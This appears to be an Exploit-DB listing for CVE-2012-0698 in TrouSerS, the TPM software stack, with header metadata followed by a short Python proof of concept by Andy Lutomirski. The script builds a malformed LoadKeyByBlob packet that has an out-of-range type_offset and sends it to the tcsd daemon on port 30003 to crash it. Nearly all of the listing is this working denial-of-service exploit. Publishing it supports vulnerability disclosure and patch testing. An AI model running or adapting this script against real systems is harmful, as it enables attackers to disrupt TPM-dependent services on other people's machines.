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TrouSerS Denial of Service Vulnerability



EDB-ID: 22904 CVE: 2012-0698 OSVDB-ID: 87739
Author: Andy Lutomirski Published: 2012-11-23 Verified: Not Verified
Exploit Code:   Download Vulnerable App:   N/A

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# crash_tcsd.py
# Copyright (c) 2012 Andy Lutomirski.  All rights reserved.
#
# Permission is granted to anyone to copy and redistribute this file verbatim.
# Permission is *not* granted to distribute modified copies or derivative works.

import struct
import socket
import time

# UnloadBlob_PCR_EVENT also appears buggy.

crasher = struct.pack('>IIIIIII',
                      28, # packet_size = sizeof(tcsd_packet_hdr)
                      11, # ordinal: LoadKeyByBlob
                      1, # num_parms = 1 (so first getData doesn't bail)
                      0, # type_size = 0
                      0x80000000, # type_offset is off in lala land
                      0, # parm_size = 0 (skip checking)
                      28, # parm_offset: see getTCSDPacket
                      )

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)
s.connect(('127.0.0.1', 30003))
s.send(crasher)
s.shutdown(socket.SHUT_WR)
s.close()